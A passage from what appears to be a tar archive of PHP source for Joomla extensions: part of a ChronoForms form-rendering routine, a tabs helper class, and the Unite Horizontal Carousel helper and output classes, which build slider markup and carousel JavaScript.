						$container_open = "\n".'<?php if(isset($pane)){echo $pane->startPanel("'.$tag['area_label'].'", "cf_container_'.$tag['wf_key'].'");} ?>'."\n";
						$container_close = "\n".'<?php if(isset($pane)){echo $pane->endPanel();} ?>'."\n";
					}else if($tag['container_type'] == 'sliders_area'){
						$container_open = "\n".'<div class="ccms_form_element">
							<?php
								jimport("joomla.html.pane");
								$pane = JPane::getInstance("sliders");
								echo $pane->startPane("cf_container_'.$tag['wf_key'].'");
							?>'."\n";
						$container_close = "\n".'<?php if(isset($pane)){echo $pane->endPane();} ?>
							<div class="clear"></div>
						</div>'."\n";
					}else if($tag['container_type'] == 'slider'){
						$container_open = "\n".'<?php if(isset($pane)){echo $pane->startPanel("'.$tag['area_label'].'", "cf_container_'.$tag['wf_key'].'");} ?>'."\n";
						$container_close = "\n".'<?php if(isset($pane)){echo $pane->endPanel();} ?>'."\n";
					}
				}
				$output = $container_open;
				array_push($this->containers, $tag['wf_key']);
				array_push($this->containers_endings, $container_close);
				$divContainer = '';
				$beforeOutput = '';
				$afterOutput = '';
				break;
			case 'page_break':
				$output = "<!--_CHRONOFORMS_PAGE_BREAK_-->";
				$divContainer = '';
				$beforeOutput = '';
				$afterOutput = '';
				break;
			case 'pane_start':
				if($tag['pane_type'] == 'sliders'){
					$start_s = "startTransition";
				}else{
					$start_s = "startOffset";
				}
				$output = "\n".'<div class="ccms_form_element">
							<?php
								jimport("joomla.html.pane");
								$pane = JPane::getInstance("'.$tag['pane_type'].'", array("'.$start_s.'" => '.$tag['pane_start'].'));
								echo $pane->startPane("'.$tag['pane_id'].'");
							?>'."\n";
				$divContainer = '';
				$beforeOutput = '';
				$afterOutput = '';
				break;
			case 'panel_start':
				$output = "\n".'<?php if(isset($pane)){echo $pane->startPanel("'.$tag['panel_label'].'", "'.$tag['panel_id'].'");} ?>'."\n";
				$divContainer = '';
				$beforeOutput = '';
				$afterOutput = '';
				break;
			case 'panel_end':
				$output = "\n".'<?php if(isset($pane)){echo $pane->endPanel();} ?>'."\n";
				$divContainer = '';
				$beforeOutput = '';
				$afterOutput = '';
				break;
			case 'pane_end':
				$output = "\n".'<?php if(isset($pane)){echo $pane->endPane();} ?>
							<div class="clear"></div>
						</div>'."\n";
				$divContainer = '';
				$beforeOutput = '';
				$afterOutput = '';
				break;
			case 'widget':
				$params = array();
				$field_header = $tag['tag'].'_'.$tag['widget'].'_'.$tag['wf_key'];
				foreach($tag as $k => $v){
					$params[str_replace($field_header.'_', '', $k)] = $v;
				}
				if(isset($params['label_text'])){
					$fieldoptions['label']['text'] = $params['label_text'];
				}
				$output = "\n".'<?php echo HTML_ChronoForms::loadWidget($form, \''.$tag['widget'].'\', '.var_export($params, true).'); ?>'."\n";
				break;
			case 'file':
				if(isset($tag['ghost'])){
					if((bool)$tag['ghost'] === true){
						$output .= '<input type="hidden" name="'.$fieldname.'" value="'.$tag['ghost_value'].'" alt="ghost" />'."\n";
					}
					unset($tag['ghost']);
					unset($tag['ghost_value']);
				}
				$output .= '<input';
				foreach($tag as $k => $v){
					$output .= ' '.$k.'="'.$v.'"';
				}
				$output .= ' />'."\n";
				break;
			case 'empty':
				$output = '';
				break;
			case 'text':
			case 'password':
			default:
				if(isset($tag['tag']))unset($tag['tag']);
				if(isset($tag['wf_key']))unset($tag['wf_key']);
				$output .= '<input';
				foreach($tag as $k => $v){
					$output .= ' '.$k.'="'.$v.'"';
				}
				$output .= ' />'."\n";
				break;
		}
		
		if(isset($fieldoptions['label']) && $fieldoptions['label'] !== false){
			$beforeOutput .= '<label'.(isset($fieldoptions['id']) ? ' for="'.$fieldoptions['id'].'"' : '').(($hide_label) ? ' style="display:none;"' : '').'>'.$fieldoptions['label']['text'].'</label>';
			unset($fieldoptions['label']);
		}		
		
		if(!empty($divContainer)){
			if(is_numeric(substr($divContainer['id'], 0, 1))){
				$divContainer['id'] = 'id'.$divContainer['id'];
			}
			$output = '<div class="'.$divContainer['class'].'" id="'.$divContainer['id'].'" style="'.implode(';', $divContainer['style']).'">'.$beforeOutput.$output.$afterOutput.'</div>';
		}
		
		if($do_replacements){
			//do replacements
			$output = str_replace('%field_name%', $tag['name'], $output);
		}
		$output = $old_output.$output;		
		return $output;
	}
	
	function slug($str, $replacer = "_"){
		$str = strtolower(trim($str));
		$str = preg_replace('/[^a-z0-9{}'.$replacer.']/', $replacer, $str);
		$str = preg_replace('/'.$replacer.'+/', $replacer, $str);
		return $str;
	}
	
	function fieldValue($field_name, $data = array()){
		$field_name = str_replace('[]', '', $field_name);
		$value = null;
		if(!isset($data[$field_name])){
			//check if its an array
			if(strpos($field_name, '[') !== false){
				$value = $this->_processArrayField($field_name, $data);
			}
		}else{
			$value = $data[$field_name];
		}
		return $value;
	}
	
	function _processArrayField($field_name, $data = array()){
		$pieces = explode('[', $field_name);
		$value = null;
		if(isset($data[str_replace(']', '', $pieces[0])])){			
			$path = $data[str_replace(']', '', $pieces[0])];
			//remove the main field name
			unset($pieces[0]);
			foreach($pieces as $piece){
				if(isset($path[str_replace(']', '', $piece)])){
					$value = $path = $path[str_replace(']', '', $piece)];
				}else{
					$value = null;
				}
			}
		}
		return $value;
	}
}�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������tabs_helper.php�������������������������������������������������������������������������������������0000666�����������������00000002744�15137226530�0007564 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
* CHRONOFORMS version 4.0
* Copyright (c) 2006 - 2011 Chrono_Man, ChronoEngine.com. All rights reserved.
* Author: Chrono_Man (ChronoEngine.com)
* @license		GNU/GPL
* Visit http://www.ChronoEngine.com for regular updates and information.
**/
defined('_JEXEC') or die('Restricted access');
class TabsHelper {
	var $prefix = '';
	var $active = '';
	
	function __construct(){
		
	}
	
	function Header($tabs = array(), $prefix = ''){
		if(!empty($prefix)){
			$this->prefix = $prefix;
		}
		$output = '<div class="tabs">
			<ul>
				';
				$counter = 0;
				foreach($tabs as $id => $title){
					if(!empty($prefix)){
						$id = $prefix.'_'.$id;
					}
					$class = '';
					if($counter == 0){
						$class = ' class="activetab"';
						$this->active = $id;
					}
					$output .= '<li id="'.$id.'-panel-tab"'.$class.'><a href="#tabs" onClick="switchTab(\''.$id.'\'); return false;"><span>'.$title.'</span></a></li>';
					$output .= "\n";
					$counter++;
				}
			$output .= '
			</ul>
		</div>';
		return $output;
	}
	
	function tabStart($id = ''){
		if(!empty($this->prefix)){
			$id = $this->prefix.'_'.$id;
		}
		$style = ' style="display: none;"';
		if($id == $this->active){
			$style = ' style="display: block;"';
		}
		$output = '<div id="'.$id.'-panel" class="tabs-panel"'.$style.'>
			<div class="tabs-panel-inner">
				';
		return $output;
	}
	
	function tabEnd(){
		$output = '</div>
			</div>
				';
		return $output;
	}
}����������������������������helper.class.php������������������������������������������������������������������������������������0000666�����������������00000034500�15137226605�0007655 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * @package Unite Horizontal Carousel for Joomla 1.7-2.5
 * @author UniteCMS.net
 * @copyright (C) 2012 Unite CMS, All Rights Reserved. 
 * @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
**/

defined('_JEXEC') or die;

class HelperUniteHCar{
	
	/**
	 * 
	 * output the slider by slider id
	 */
	public static function outputSlider($sliderID,$isJSInBody=false){
		$output = new UniteHCarOutput();
		
		if($isJSInBody == true)
			$output->setJsInBody();
			
		$output->outputSlider($sliderID);
	}	
	
	
	/**
	 * 
	 * get sliders array small (id,title,alias)
	 */
	public static function getArrSliders(){	
		$db = JFactory::getDBO();
		$query = $db->getQuery(true);
		$query->select('id,title,alias');
		$query->from(GlobalsUniteHCar::TABLE_SLIDERS);
		
		$db->setQuery($query);
		$rows = $db->loadAssocList();
		return($rows);
	}
	
	/**
	 * get slider
	 */
	public static function getSlider($sliderID){
		$sliderID = (int)$sliderID;
		$db = JFactory::getDBO();
		$query = $db->getQuery(true);
		$query->select('*');
		$query->from(GlobalsUniteHCar::TABLE_SLIDERS);
		$query->where("id='$sliderID'");
		
		$db->setQuery($query);
		$rows = $db->loadAssocList();
		if(empty($rows))
			UniteFunctionsHCar::throwError("slider not found: $sliderID");
			
		$row = $rows[0]; 
		$params = UniteFunctionJoomlaHCar::decodeRegistryToArray($row, "params");

		$paramsReg = new JRegistry();
		$paramsReg->loadArray($params);
		
		$row["params"] = $paramsReg;
		 
		return($row);
	}
	
	
	/**
	 * 
	 * get array of arrows list
	 */
	public static function getArrowsList(){
		$pathArrows = GlobalsUniteHCar::$pathAssetsArrows;
		
		$arrDirs = UniteFunctionsHCar::getFolderDirs($pathArrows);
		
		$arrows = array();
		foreach($arrDirs as $dir){
			$set = self::getArrowSetFromDir($dir);
			$arrows[$dir] = $set;
		}
		
		return($arrows);
	}
	
	
	/**
	 * 
	 * Enter description here ...
	 */
	public static function getBulletsList(){
		$pathBullets = GlobalsUniteHCar::$pathAssetsBullets;
		$arrDirs = UniteFunctionsHCar::getFolderDirs($pathBullets);
		$bullets = array();
		foreach($arrDirs as $dir){
			$set = self::getBulletSetFromDir($dir);
			$bullets[$dir] = $set;
		}
		
		return($bullets);
	}
	
	
	/**
	 * 
	 * get bullets set
	 * @param $name
	 */
	public static function getBulletsSet($name){
		$pathSet = GlobalsUniteHCar::$pathAssetsBullets.$name."/";
		
		if(is_dir($pathSet))
			$set = self::getBulletSetFromDir($name);			
		else{
			$arrSets = self::getBulletsList();
			$set = array_pop($arrSets);
		}
		return($set);
	}
	
	/**
	 * 
	 * pub bullets set html
	 * @param mixed $set - can be array or set name
	 */
	public static function getBulletsHtml($set,$num=5){
		
		if($num < 3)
			$num = 3;
		
		if(gettype($set) == "string")
			$set = HelperUniteHCar::getBulletsSet($set);
		
		$options = $set["options"];

		$imgLeft = UniteFunctionsHCar::getVal($set, "url_bgleft");
		$imgRight = UniteFunctionsHCar::getVal($set, "url_bgright");
		$imgCenter = UniteFunctionsHCar::getVal($set, "url_bgrepeat");
		
		$idBackground = false;
		if(!empty($imgCenter)){
			$idBackground = true;
			
			//validate background fields
			UniteFunctionsHCar::validateArrayFieldExists($options,"bg_height,bg_left_width,bg_right_width,padding_top",
															  "getBulletsHtml, background field not found in options");
			UniteFunctionsHCar::validateNotEmpty($imgRight,"right image");
			UniteFunctionsHCar::validateNotEmpty($imgLeft,"left image");
		}
		
		$space_middle = UniteFunctionsHCar::getVal($options, "space_middle", 3);
		
		$html = "";
		
		//Width Background
		if($idBackground == true):
			$bgHeight = $options["bg_height"];
			$bgWidthLeft = $options["bg_left_width"];
			$bgWidthRight = $options["bg_right_width"];
			$paddingTop = $options["padding_top"];
			$styleLeft = "float:left;height:{$bgHeight}px;width:{$bgWidthLeft}px;background-image:url(\"{$imgLeft}\");background-repeat:no-repeat;";
			$styleRight = "float:left;height:{$bgHeight}px;width:{$bgWidthLeft}px;background-image:url(\"{$imgRight}\");background-repeat:no-repeat;";
			$styleCenter = "float:left;height:{$bgHeight}px;background-image:url(\"{$imgCenter}\");background-repeat:releat-x;";
						
			$html .= "<div class='bullets_left' style='$styleLeft' ></div>";
			$html .= "<div class='bullets_middle' style='$styleCenter'>";
			$html .= "<div class='bullets_inner' style='padding-top:".$paddingTop."px;'>";
			
			$html .= 	'<ul>';
				for($i=0;$i<$num;$i++){				
					$urlBullet = $set["url_normal"];
					if($i == 1)
						$urlBullet = $set["url_active"];
	
					$styleLI = "";
					if($i>0)
						$styleLI = "margin-left:".$space_middle."px";
					
					$html .= "<li style='$styleLI'><img src='$urlBullet'/></li>";
				} 
			$html .= '</ul>';
			
			$html .= '</div>';
			$html .= '</div>';
			$html .= "<div class='bullets_right' style='$styleRight'></div>";
						
		else:		//no background:
		
			$html .= 	'<ul>';
				for($i=0;$i<$num;$i++){				
					$urlBullet = $set["url_normal"];
					if($i == 1)
						$urlBullet = $set["url_active"];
	
					$styleLI = "";
					if($i>0)
						$styleLI = "margin-left:".$space_middle."px";
					
					$html .= "<li style='$styleLI'><img src='$urlBullet'/></li>";
				} 
			$html .= '</ul>';
			
		endif;
		
		$html .= '<div class="clear"></div>';
		
		return($html);
	}

	
	
	/**
	 * 
	 * get arrows set by name
	 */
	public static function getArrowSet($name){
		$name = trim($name);
		
		$pathSet = GlobalsUniteHCar::$pathAssetsArrows.$name."/";
		
		if(!empty($name) && is_dir($pathSet)){
			$set = self::getArrowSetFromDir($name);
		}			
		else{
			$arrSets = self::getArrowsList();
			$set = array_pop($arrSets);
		}
		return($set);
	}
	
	
	/**
	 * 
	 * get arrows set by dir
	 */
	private static function getArrowSetFromDir($dir){
		$pathArrows = GlobalsUniteHCar::$pathAssetsArrows;
		
		$pathSet = $pathArrows.$dir."/";
		
		if(is_dir($pathSet) == false)
			UniteFunctionsHCar::throwError("The arrow directory: $dir not found!");
		
		$urlSet = GlobalsUniteHCar::$urlAssetsArrows.$dir."/";
		$leftName = "left.png";
		$rightName = "right.png";
		$leftHoverName = "left_hover.png";
		$rightHoverName = "right_hover.png";
		$options = "options.ini";
		
		$pathLeft = $pathSet.$leftName;
		$pathRight = $pathSet.$rightName;
		
		if(!file_exists($pathLeft))
			UniteFunctionsHCar::throwError("Left arrow of set $dir not found: $pathLeft");
			
		if(!file_exists($pathRight))
			UniteFunctionsHCar::throwError("Right arrow of set $dir not found: $pathRight");
		
		//validate required paths:
		if(file_exists($pathSet.$options) == false)
			UniteFunctionsHCar::throwError("$options not found in arrows set: $dir");
		
		$set = array();
		$set["name"] = $dir;
		$set["url_left"] = $urlSet.$leftName;
		$set["url_right"] = $urlSet.$rightName;
		
		$set["url_left_hover"] = "";
		$set["url_right_hover"] = "";
		$set["has_hover"] = false;
		
		if(file_exists($pathSet.$leftHoverName)){
			$set["url_left_hover"] = $urlSet.$leftHoverName;
			$set["has_hover"] = true;
		}

		if(file_exists($pathSet.$rightHoverName))
			$set["url_right_hover"] = $urlSet.$rightHoverName;
		
		//get options
   		$content = file_get_contents($pathSet.$options);
   		$arrOptions = UniteFunctionsHCar::parseSettingsFile($content);
   		$set["options"] = $arrOptions;
		
		return($set);
	}
	
	/**
	 * 
	 * get bullets set from some dir
	 */
	private static function getBulletSetFromDir($dir){
		
		$pathSet = GlobalsUniteHCar::$pathAssetsBullets.$dir."/";
		if(is_dir($pathSet) == false)
			UniteFunctionsHCar::throwError("The bullet directory: $dir not found!");
		
		$urlSet = GlobalsUniteHCar::$urlAssetsBullets.$dir."/";
		
		//set paths
		$bulletNormal = "bullet_normal.png";
		$bulletActive = "bullet_active.png";
		$bgLeft = "bg_left.png";
		$bgRepeat = "bg_repeat.png";
		$bgRight = "bg_right.png";		
		$preview = "preview.png";
		$options = "options.ini";
		
		//validate required paths:
		if(file_exists($pathSet.$bulletNormal) == false)
			UniteFunctionsHCar::throwError("$bulletNormal not found in bullets set: $dir");
		
		if(file_exists($pathSet.$bulletActive) == false)
			UniteFunctionsHCar::throwError("$bulletActive not found in bullets set: $dir");

		//validate required paths:
		if(file_exists($pathSet.$preview) == false)
			UniteFunctionsHCar::throwError("$preview not found in bullets set: $dir");
			
		//set data array
		$set = array();
		$set["name"] = $dir;
		$set["url_normal"] = $urlSet.$bulletNormal;
		$set["url_active"] = $urlSet.$bulletActive;
		$set["url_preview"] = $urlSet.$preview;
		
		//set bg
	   $set["url_bgleft"] = "";
	   $set["url_bgright"] = "";
	   $set["url_bgrepeat"] = "";		   
	   $set["is_bg"] = false;
	
		if(file_exists($pathSet.$bgLeft) && 
		   file_exists($pathSet.$bgRight) &&
		   file_exists($pathSet.$bgRepeat)){
		   	
		   		$set["is_bg"] = true;
			   $set["url_bgleft"] = $urlSet.$bgLeft;
			   $set["url_bgright"] = $urlSet.$bgRight;
			   $set["url_bgrepeat"] = $urlSet.$bgRepeat;		   
	   }
	   
	   //set options
	   $set["options"] = array();	   
	   if(file_exists($pathSet.$options)){
	   		$content = file_get_contents($pathSet.$options);
	   		$arrOptions = UniteFunctionsHCar::parseSettingsFile($content);
	   		$set["options"] = $arrOptions;
	   }
	   
	   return($set);
	}
	
	
	/**
	 * 
	 * add script relative to the "assets" folder
	 */
	public static function addScript($scriptName){
		$document = JFactory::getDocument();
		$document->addScript(GlobalsUniteHCar::$urlAssets.$scriptName);
	}
	
	/**
	 * 
	 * add script relative to the "assets" folder
	 */
	public static function addStylesheet($cssName){
		$document = JFactory::getDocument();
		$document->addStyleSheet(GlobalsUniteHCar::$urlAssets.$cssName);
	}
	
	/**
	 * 
	 * get arr sliders by id
	 */
	public static function getArrSlidersAssoc(){
		$arrSliders = self::getArrSliders();
		
		$arrOutput = array();
		foreach($arrSliders as $slider)
			$arrOutput[$slider["id"]] = $slider;
		
		return($arrOutput);
	}
	
	/**
	 * 
	 * get first slider id
	 */
	public static function getFirstSliderID(){
		
		$arrSliders = self::getArrSliders();
		if(empty($arrSliders))
			return("");
		
		$firstSliderID = $arrSliders[0]["id"];
		
		return($firstSliderID);
	}
	
	/**
	 * 
	 * validate that some slider exists. else throw error
	 */
	private static function validateSliderExists($sliderID){
		$arrSliders = self::getArrSlidersAssoc();
		if(array_key_exists($sliderID, $arrSliders) == false)
			throw new Exception("Slider with id: $sliderID not exists.");
	}
	
	/**
	 * 
	 * get slides row
	 */
	private static function getSlidesRows($sliderID){
		self::validateSliderExists($sliderID);
		
		$db = JFactory::getDBO();		
		$query = $db->getQuery(true);
		$query->select('*');
		$query->from(GlobalsUniteHCar::TABLE_SLIDES);
		$query->where("sliderid='$sliderID' and published=1");
		$query->order("ordering asc");
		$db->setQuery($query);		
		$rows = $db->loadAssocList();
		return($rows);
	}
	
	
	/**
	 * 
	 * get slides array of some slider
	 * @param $sliderID
	 */
	public static function getArrSlides($sliderID){
		
		$rows = self::getSlidesRows($sliderID);
		
		$urlRoot = JURI::root();
		
		//process params:
		foreach($rows as $key=>$row){
			$jsonParams = $row["params"];
			$params = new JRegistry();
			$params->loadString($jsonParams, "json");
			
			//add image full path
			$image = $params->get("image");
			$params->set("url_image",$urlRoot.$image);
			$rows[$key]["params"] = $params;
		}
		
		return($rows);
	}
	
	/**
	 * 
	 * get number of slides of some slider
	 */
	public static function getNumSlides($sliderID){
		$rows = self::getSlidesRows($sliderID);
		$numSlides = count($rows);
		return($numSlides);
	}
	
	
	/**
	 * get slider view url
	 */
	public static function getViewUrl_Slider($sliderID,$layout = null){
		if(empty($layout))
			$layout = GlobalsUniteHCar::LAYOUT_SLIDER_GENERAL;
			
		$args = "id=".(int)$sliderID;		
		$url = UniteFunctionJoomlaHCar::getViewUrl(GlobalsUniteHCar::VIEW_SLIDER, $layout,$args);
		return($url);
	}

	
	/**
	 * 
	 * get "items" view url
	 */
	public static function getViewUrl_Items($sliderID){
		$args = "id=".(int)$sliderID;
		$url = UniteFunctionJoomlaHCar::getViewUrl(GlobalsUniteHCar::VIEW_ITEMS, null,$args);
		return($url);
	}
	
	/**
	 * 
	 * include some view, give path from "views" folder
	 */
	public static function includeView($pathView){
		
		$filepathView = GlobalsUniteHCar::$pathViews.$pathView;
		
		if(file_exists($filepathView) == false)
			UniteFunctionsHCar::throwError("View not found: $pathView");
		
		require $filepathView;
	}
	
	
	
	/**
	 * 
	 * add submenu
	 */
	public static function addSubmenu($currentView,$currentLayout){
		
		switch($currentView){
			default:
			case GlobalsUniteHCar::VIEW_SLIDER:
				$sliderID = JRequest::getVar("id");
				$isNew = empty($sliderID);
				
				//disable the menu on new slider
				if($isNew == true)
					return(false);
					
				$viewSliderSettings = UniteFunctionJoomlaHCar::getViewUrl(GlobalsUniteHCar::VIEW_SLIDER,GlobalsUniteHCar::LAYOUT_SLIDER_GENERAL,"id=".$sliderID);
				$viewSliderVisual = UniteFunctionJoomlaHCar::getViewUrl(GlobalsUniteHCar::VIEW_SLIDER,GlobalsUniteHCar::LAYOUT_SLIDER_VISUAL, "id=".$sliderID);
				$viewSlides = UniteFunctionJoomlaHCar::getViewUrl(GlobalsUniteHCar::VIEW_ITEMS,"","id=".$sliderID);
				
				//slider settings:
				$selectedGeneral = ($currentView == GlobalsUniteHCar::VIEW_SLIDER && $currentLayout == GlobalsUniteHCar::LAYOUT_SLIDER_GENERAL);
				$selectedVisual = ($currentView == GlobalsUniteHCar::VIEW_SLIDER && $currentLayout == GlobalsUniteHCar::LAYOUT_SLIDER_VISUAL);
				$selectedSlides = ($currentView == GlobalsUniteHCar::VIEW_ITEMS);
				
				JSubMenuHelper::addEntry(JText::_('COM_UNITEHCAROUSEL_GENERAL_SETTINGS'),$viewSliderSettings,$selectedGeneral);
				JSubMenuHelper::addEntry(JText::_('COM_UNITEHCAROUSEL_VISUAL_SETTINGS'),$viewSliderVisual,$selectedVisual);
				JSubMenuHelper::addEntry(JText::_('COM_UNITEHCAROUSEL_SLIDES'),$viewSlides,$selectedSlides);
				
			break;
			case GlobalsUniteHCar::VIEW_SLIDERS:	//don't show menu at all.
			break;
		}
		
	}
	
	
}
?>������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������output.class.php������������������������������������������������������������������������������������0000666�����������������00000041533�15137226605�0007742 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
// No direct access.
defined('_JEXEC') or die;

	class UniteHCarOutput{
		
		private static $counter = 0;
		
		private $sliderID;
		private $slider;
		private $params;
		private $width;
		private $widthScrolling;
		private $slideWidth;
		private $slideHeight;
		private $visibleAreaWidth;
		private $height;
		private $arrSlides;
		private $sliderJSID;
		private $putJSInBody = false;
		private $numItems;
		private $showArrows;
		private $space;
		private $scrollingPadLeft;		
		
		//css settings.
		private $numSlides;
		private $bulletsSet;
		
		/**
		 * 
		 * output error message
		 */
		private function outputErrorMessage($message){
			?>
			<div style="width:700px;height:130px;font-size:14px;text-align:center;padding-top:30px;border:1px solid black;">
				<?php echo $message?>
			</div>
			<?php 
		}
		
		
		/**
		 * 
		 * include slider files.
		 */
		private function includeClientFiles(){
			
			//include custom css
			$args = "task=getcss&slider_id=".$this->sliderID."&slider_js_id=".$this->sliderJSID;
			
			$urlCustomCSS = UniteFunctionJoomlaHCar::getUrlComponent($args);
			
			$document = JFactory::getDocument();
			
			//put item js library
			$urlCarouselJS = GlobalsUniteHCar::$urlItemPlugin."jquery.carouFredSel-5.6.2.js";
			
			if($this->putJSInBody == false)		 //put item js in head
				$document->addScript($urlCarouselJS);
			else{								 //put item js in body
				?>
					<script type="text/javascript" src="<?php echo $urlCarouselJS?>"></script>
				<?php
			}
				
			$document->addStyleSheet($urlCustomCSS);
		} 

		
		/**
		 * 
		 * init the slider, set all class vars
		 */
		private function initSlider($sliderID){
			
			//set basic vars
			$this->sliderID = $sliderID;
			$this->slider = HelperUniteHCar::getSlider($sliderID);			
			$this->params = $this->slider["params"];
			
			//set height and width
			$this->width = $this->params->get("width");
			
			if(empty($this->width))
				UniteFunctionsHCar::throwError("The slider should have width var");
			$this->countAttributes();
		}
		
		/**
		 * 
		 * init elements like sildes array that will be used in main output.
		 */
		private function initMainOutput(){
			
			//set js id:
			self::$counter++;
			$this->sliderJSID = "unite_carousel_".$this->sliderID."_".self::$counter;
			
			$this->arrSlides = HelperUniteHCar::getArrSlides($this->sliderID);
		}
		
		/**
		 * 
		 * init css output elements
		 */
		private function initCSSOutput(){
			$this->numSlides = HelperUniteHCar::getNumSlides($this->sliderID);
		}
		
		
		/**
		 * 
		 * tells if the description exists or not
		 */
		private function isDescExists($desc){
			$descText = strip_tags($desc);
			$descText = trim($descText);
			$descText = iconv("UTF-8","UTF-8//IGNORE",$descText);
			
			if(empty($descText) || strlen($descText)<=2)
				return(false);
				
			return(true);
		}
		
		
		/**
		 * 
		 * output the slides
		 */
		private function putSlides(){
			
			$imageWidth = $this->params->get("image_width",150);
			$imageHeight = (int)$this->params->get("image_height");
			
			foreach($this->arrSlides as $slide):
				
				$slideParams = $slide["params"];
				$slideImage = $slideParams->get("image");
				$activateLink = trim($slideParams->get("activate_link","no"));
				$openIn = $slideParams->get("link_open_in","new");				
				$htmlTarget = ($openIn == "new")?'target="_blank"':'';				
				$link = $slideParams->get("link","javascript:void(0)");
				$urlImageReized = UniteFunctionJoomlaHCar::getImageOutputUrl($slideImage,$imageWidth,$imageHeight,true);
								
				?>
				<li>
					<?php if($activateLink == "yes"): ?>
					<a href='<?php echo $link?>' <?php echo $htmlTarget?>>
					<?php endif?>
						<img width="<?php echo $imageWidth?>" height="<?php echo $imageHeight?>" src="<?php echo $urlImageReized?>" alt="" />
					<?php if($activateLink == "yes"): ?>
					</a>
					<?php endif?>
				</li>
				<?php 
			endforeach;
		}
		
		
		/**
		 * 
		 * put the javascript
		 */
		private function putJs(){
			
			$params = $this->params;
			$direction = $params->get("direction","left");
			
			$leftArrowID = "null";			
			$rightArrowID = "null";
			
			if($this->showArrows == true){
				if($direction == "left"){				
					$leftArrowID = "'#left_arrow_{$this->sliderJSID}'";
					$rightArrowID = "'#right_arrow_{$this->sliderJSID}'";
				}
				else{		//switch arrows
					$rightArrowID = "'#left_arrow_{$this->sliderJSID}'";
					$leftArrowID = "'#right_arrow_{$this->sliderJSID}'";					
				}
			}
			
			$scrollItems = (int)$params->get("scroll_items","0");
			if($scrollItems == 0)
				$scrollItems = "null";
			
			?>
			<script type="text/javascript">
				jQuery("document").ready(function(){
					jQuery('#<?php echo $this->sliderJSID?>').carouFredSel({
						circular:true,
						responsive:false,
						infinite:true,
						direction:"<?php echo $direction?>",
						height:null,
						width:<?php echo $this->widthScrolling?>,
						align:"left",
						padding:0,			//global padding around the carousel
						synchronise:null,	//don't know what it is
						cookie:false,
						items:{
							visible:<?php echo $this->numItems?>,
							width:<?php echo $this->slideWidth?>,
							height:<?php echo $this->slideHeight?>
						},
						scroll:{
							fx:"directscroll",
							items:<?php echo $scrollItems?>,
							easing:"<?php echo $params->get("easing","swing")?>",
							duration:<?php echo $params->get("trans_duration","500")?>,
							pauseOnHover:<?php echo $params->get("pause_on_hover","true")?>,
							mousewheel:false,
							wipe:false,
							onBefore:null,
							onAfter:null,
							onEnd:null
						},
						auto:{
							play:true,
							pauseDuration:<?php echo $params->get("pause_duration","2500")?>,
							button:null,	// play / pause button
							delay:0,		//delay before start
							onPauseStart:null,
							onPauseEnd:null,
							onPausePause:null
						},
						prev:{
							button:<?php echo $leftArrowID?>,
							key:null		//"up", "down", "left" or "right"							
						},
						next:{
							button:<?php echo $rightArrowID?>,
							key:null
						},
						pagination:{
							container:null,
							keys:false,
							anchorBuilder:null
						}
						
					});
				});
			</script>
			<?php 
		}
		
		
		/**
		 * put html images preload
		 */
		private function putPreloadImages(){
			
			//arrows hover 
			$hasArrows = $this->params->get("has_arrows");
			$arrPreload = array();
			if($hasArrows != "false"){
				$arrowsSetName = $this->params->get("arrows_set");
				$arrowsSet = HelperUniteHCar::getArrowSet($arrowsSetName);
				if($arrowsSet["has_hover"] == true){
					$arrPreload[] = $arrowsSet["url_left_hover"];
					$arrPreload[] = $arrowsSet["url_right_hover"];
				}				
			}
			
			if(empty($arrPreload))
				return(false);
			
			?>
			<div style="opacity:0;position:absolute;">
			<?php 
			foreach($arrPreload as $imageUrl){
				?>
				<img src="<?php echo $imageUrl?>" alt="preload image">
				<?php 
			}
			?>
			</div>
			<?php 
		}
		
		/**
		 * 
		 * count all the attributes for the carousel output
		 */
		private function countAttributes(){
			
			$params = $this->params;
			
			$imagePadding = (int)$params->get("image_padding",0);
			$borderWidth = (int)$params->get("border_width",0);			
			$space = (int)$params->get("space_between",0);			
			$slideHeight = (int)$params->get("image_height",0);
			$showArrows = ($params->get("show_arrows","true") == "true")?true:false;
			
			$sidesWidth = 0;
			
			//set side width
			if($showArrows == true){
				$arrowType = $params->get("arrow_type"); 
				$arrowSet = HelperUniteHCar::getArrowSet($arrowType);
				
				$arrowWidth = $arrowSet["options"]["width"];
				$arrowHeight = $arrowSet["options"]["height"];
				$arrowsPaddingSide = $params->get("arrows_padding_sides",5);
				
				//count side width
				$sidesWidth = $arrowWidth + $arrowsPaddingSide;
			}
			
			//set slide width and height
			$slideWidth = (int)$params->get("image_width",150);
			
			//include border
			if(!empty($borderWidth)){
				$slideWidth += $borderWidth * 2;
				$slideHeight += $borderWidth * 2;
			}
			
			//include padding
			if(!empty($imagePadding)){
				$slideWidth += $imagePadding * 2;
				$slideHeight += $imagePadding * 2;
			}
			
			//include space between (width only)
			$slideWidth += $space;
						
			$slideAreaWidth = $this->width - $sidesWidth*2;
			
			$numItems = floor( ($slideAreaWidth + $space) / $slideWidth);
			
			if($numItems == 0)
				$numItems = 1;
			
			//set variables
			$this->scrollingPadLeft = ceil($space / 2);
			$this->widthScrolling = $numItems * $slideWidth;
			$this->visibleAreaWidth = $this->widthScrolling - $space;
			$this->space = $space;
			$this->showArrows = $showArrows;
			$this->slideWidth = $slideWidth;
			$this->slideHeight = $slideHeight;
			$this->height = $slideHeight;
			$this->numItems = $numItems;
			
		}
		
		
		/**
		 * 
		 * output slider body
		 */
		private function putBody(){
			$params = $this->params;
			
			//set styles:
			$styleWrapper = "width:{$this->width}px;height:{$this->height}px;";
			$styleInner = "width:{$this->visibleAreaWidth}px;height:{$this->height}px;";
			
			//set wrapper position:
			$position = $params->get("position","center");
			switch($position){
				case "center":
					$styleWrapper .= "margin:0px auto;";
				break;
				case "left":
					$styleWrapper .= "float:left;";
				break;
				case "right":
					$styleWrapper .= "float:right;";
				break;
			}
			
			//set margin left / right
			if($position == "left" || $position == "right"){
				$marginLeft = $params->get("margin_left","0");
				$marginRight = $params->get("margin_right","0");
